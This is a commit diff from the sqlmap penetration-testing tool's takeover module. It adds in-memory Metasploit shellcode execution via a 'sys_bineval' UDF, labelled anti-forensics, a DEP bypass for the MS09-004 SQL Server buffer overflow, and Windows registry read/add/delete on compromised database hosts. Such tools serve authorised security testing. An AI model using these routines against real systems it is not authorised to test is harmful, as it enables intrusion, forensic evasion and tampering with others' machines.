mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2025-12-06 20:51:31 +00:00
Merged back from personal branch to trunk (svn merge -r846:940 ...)
Changes: * Major enhancement to the Microsoft SQL Server stored procedure heap-based buffer overflow exploit (--os-bof) to automatically bypass DEP memory protection. * Added support for MySQL and PostgreSQL to execute Metasploit shellcode via UDF 'sys_bineval' (in-memory, anti-forensics technique) as an option instead of uploading the standalone payload stager executable. * Added options for MySQL, PostgreSQL and Microsoft SQL Server to read/add/delete Windows registry keys. * Added options for MySQL and PostgreSQL to inject custom user-defined functions. * Added support for --first and --last so the user now has even more granularity in what to enumerate in the query output. * Minor enhancement to save the session by default in 'output/hostname/session' file if -s option is not specified. * Minor improvement to automatically remove sqlmap created temporary files from the DBMS underlying file system. * Minor bugs fixed. * Major code refactoring.
This commit is contained in:
@@ -42,13 +42,12 @@ from lib.core.exception import sqlmapUnsupportedDBMSException
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from lib.core.shell import autoCompletion
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from lib.request.connect import Connect as Request
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from lib.takeover.abstraction import Abstraction
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from lib.takeover.dep import DEP
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from lib.takeover.metasploit import Metasploit
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from lib.takeover.registry import Registry
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from lib.techniques.outband.stacked import stackedTest
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class Takeover(Abstraction, DEP, Metasploit, Registry):
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class Takeover(Abstraction, Metasploit, Registry):
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"""
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This class defines generic OS takeover functionalities for plugins.
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"""
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@@ -59,7 +58,6 @@ class Takeover(Abstraction, DEP, Metasploit, Registry):
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self.cmdFromChurrasco = False
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Abstraction.__init__(self)
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DEP.__init__(self)
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def __webBackdoorRunCmd(self, backdoorUrl, cmd):
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@@ -257,9 +255,6 @@ class Takeover(Abstraction, DEP, Metasploit, Registry):
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self.churrascoPath = "%s/sqlmapchur%s.exe" % (conf.tmpPath, randomStr(lowercase=True))
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self.cmdFromChurrasco = True
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# NOTE: no need to handle DEP for Churrasco executable because
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# it spawns a new process as the SYSTEM user token to execute
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# the executable passed as argument
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self.writeFile(wFile, self.churrascoPath, "binary", confirm=False)
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return True
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@@ -309,28 +304,53 @@ class Takeover(Abstraction, DEP, Metasploit, Registry):
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self.initEnv()
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self.getRemoteTempPath()
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self.createMsfPayloadStager()
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self.uploadMsfPayloadStager()
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if kb.os == "Windows":
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# NOTE: no need to add an exception to DEP for the payload
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# stager because it already sets the memory to +rwx before
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# copying the shellcode into that memory page
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#self.handleDep(self.exeFilePathRemote)
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goUdf = False
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condition = ( kb.dbms == "MySQL" or kb.dbms == "PostgreSQL" )
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if conf.privEsc and kb.dbms == "MySQL":
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if condition is True:
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msg = "how do you want to execute the Metasploit shellcode "
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msg += "on the back-end database underlying operating system?"
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msg += "\n[1] Stand-alone payload stager (file system way, default)"
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msg += "\n[2] Via UDF 'sys_bineval' (in-memory way, anti-forensics)"
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while True:
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choice = readInput(msg, default=1)
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if isinstance(choice, str) and choice.isdigit() and int(choice) in ( 1, 2 ):
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choice = int(choice)
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break
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elif isinstance(choice, int) and choice in ( 1, 2 ):
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break
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else:
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warnMsg = "invalid value, valid values are 1 and 2"
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logger.warn(warnMsg)
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if choice == 2:
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goUdf = True
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if goUdf is True:
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self.createMsfShellcode(exitfunc="thread", format="raw", extra="BufferRegister=EAX", encode="x86/alpha_mixed")
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else:
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self.createMsfPayloadStager()
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self.uploadMsfPayloadStager()
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if kb.os == "Windows" and conf.privEsc:
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if kb.dbms == "MySQL":
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debugMsg = "by default MySQL on Windows runs as SYSTEM "
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debugMsg += "user, no need to privilege escalate"
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logger.debug(debugMsg)
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elif conf.privEsc and kb.dbms == "PostgreSQL":
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elif kb.dbms == "PostgreSQL":
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warnMsg = "by default PostgreSQL on Windows runs as postgres "
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warnMsg += "user which has no Windows Impersonation "
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warnMsg += "Tokens: it is unlikely that the privilege "
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warnMsg += "escalation will be successful"
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logger.warn(warnMsg)
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elif conf.privEsc and kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ):
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elif kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ):
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warnMsg = "often Microsoft SQL Server %s " % kb.dbmsVersion[0]
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warnMsg += "runs as Network Service which has no Windows "
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warnMsg += "Impersonation Tokens within all threads, this "
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@@ -350,7 +370,7 @@ class Takeover(Abstraction, DEP, Metasploit, Registry):
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# system is not Windows
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conf.privEsc = False
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self.pwn()
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self.pwn(goUdf)
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def osSmb(self):
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@@ -424,11 +444,134 @@ class Takeover(Abstraction, DEP, Metasploit, Registry):
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infoMsg += "buffer overflow (MS09-004)"
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logger.info(infoMsg)
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# NOTE: only needed to handle DEP
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self.initEnv(mandatory=False, detailed=True)
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self.getRemoteTempPath()
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self.createMsfShellcode()
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self.overflowBypassDEP()
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self.createMsfShellcode(exitfunc="seh", format="raw", extra="-b 27", encode=True)
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self.bof()
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self.delException()
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def __regInit(self):
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stackedTest()
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if kb.stackedTest == False:
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return
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self.checkDbmsOs()
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if kb.os != "Windows":
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errMsg = "the back-end DBMS underlying operating system is "
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errMsg += "not Windows"
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raise sqlmapUnsupportedDBMSException, errMsg
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self.initEnv()
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self.getRemoteTempPath()
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def regRead(self):
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self.__regInit()
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if not conf.regKey:
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default = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion"
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msg = "which registry key do you want to read? [%s] " % default
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regKey = readInput(msg, default=default)
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else:
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regKey = conf.regKey
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if not conf.regVal:
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default = "ProductName"
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msg = "which registry key value do you want to read? [%s] " % default
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regVal = readInput(msg, default=default)
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else:
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regVal = conf.regVal
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infoMsg = "reading Windows registry path '%s\%s' " % (regKey, regVal)
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logger.info(infoMsg)
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return self.readRegKey(regKey, regVal, False)
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def regAdd(self):
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self.__regInit()
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errMsg = "missing mandatory option"
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if not conf.regKey:
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msg = "which registry key do you want to write? "
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regKey = readInput(msg)
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if not regKey:
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raise sqlmapMissingMandatoryOptionException, errMsg
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else:
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regKey = conf.regKey
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if not conf.regVal:
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msg = "which registry key value do you want to write? "
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regVal = readInput(msg)
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if not regVal:
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raise sqlmapMissingMandatoryOptionException, errMsg
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else:
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regVal = conf.regVal
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if not conf.regData:
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msg = "which registry key value data do you want to write? "
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regData = readInput(msg)
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if not regData:
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raise sqlmapMissingMandatoryOptionException, errMsg
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else:
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regData = conf.regData
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if not conf.regType:
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default = "REG_SZ"
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msg = "which registry key value data-type is it? "
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msg += "[%s] " % default
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regType = readInput(msg, default=default)
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else:
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regType = conf.regType
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infoMsg = "adding Windows registry path '%s\%s' " % (regKey, regVal)
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infoMsg += "with data '%s'. " % regData
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infoMsg += "This will work only if the user running the database "
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infoMsg += "process has privileges to modify the Windows registry."
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logger.info(infoMsg)
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self.addRegKey(regKey, regVal, regType, regData)
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def regDel(self):
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self.__regInit()
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errMsg = "missing mandatory option"
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if not conf.regKey:
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msg = "which registry key do you want to delete? "
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regKey = readInput(msg)
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if not regKey:
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raise sqlmapMissingMandatoryOptionException, errMsg
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else:
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regKey = conf.regKey
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if not conf.regVal:
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msg = "which registry key value do you want to delete? "
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regVal = readInput(msg, default=default)
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if not regVal:
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raise sqlmapMissingMandatoryOptionException, errMsg
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else:
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regVal = conf.regVal
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message = "are you sure that you want to delete the Windows "
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message += "registry path '%s\%s? [y/N] " % (regKey, regVal)
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output = readInput(message, default="N")
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if output and output[0] not in ( "Y", "y" ):
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return
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infoMsg = "deleting Windows registry path '%s\%s'" % (regKey, regVal)
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infoMsg += "This will work only if the user running the database "
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infoMsg += "process has privileges to modify the Windows registry."
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logger.info(infoMsg)
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self.delRegKey(regKey, regVal)
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